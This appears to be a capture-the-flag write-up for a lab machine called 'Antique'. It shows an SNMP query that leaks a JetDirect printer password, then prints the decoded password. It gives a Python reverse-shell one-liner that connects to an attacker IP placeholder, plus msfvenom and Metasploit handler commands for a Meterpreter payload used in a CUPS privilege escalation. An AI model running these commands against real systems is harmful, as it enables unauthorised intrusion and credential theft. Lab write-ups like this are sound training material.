Antique

SNMP and JetDirect access

AutoRecon exposed Telnet on TCP 23 and SNMP on UDP 161. The HP JetDirect private OID returned a hexadecimal credential string.

snmpwalk -v 2c -c public 10.10.11.107 \
  .1.3.6.1.4.1.11.2.3.9.1.1.13.0

Decoding the bytes produced P@ssw0rd@123!!123, which authenticated to the JetDirect Telnet interface.

Reverse shell

The printer console accepted an exec command, allowing a Python reverse shell to connect back to Netcat.

exec python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<TUN0-IP>",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'

nc -lvnp 1234

CUPS privilege escalation

IPP/CUPS was bound locally on port 631. After tunneling attempts with Chisel failed because of a glibc mismatch, a Meterpreter session and the available CUPS exploit module were used to retrieve both flags.

msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=<TUN0-IP> LPORT=1337 -f elf -o shell

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST <TUN0-IP>
set LPORT 1337
run